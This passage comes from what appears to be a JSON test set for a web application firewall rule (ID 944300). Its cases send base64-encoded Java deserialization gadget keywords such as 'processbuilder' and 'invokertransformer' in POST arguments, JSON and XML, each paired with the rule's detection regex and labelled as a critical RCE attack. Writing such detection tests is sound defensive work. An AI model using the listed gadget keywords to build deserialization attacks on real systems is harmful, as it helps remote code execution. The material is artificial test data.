"(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": 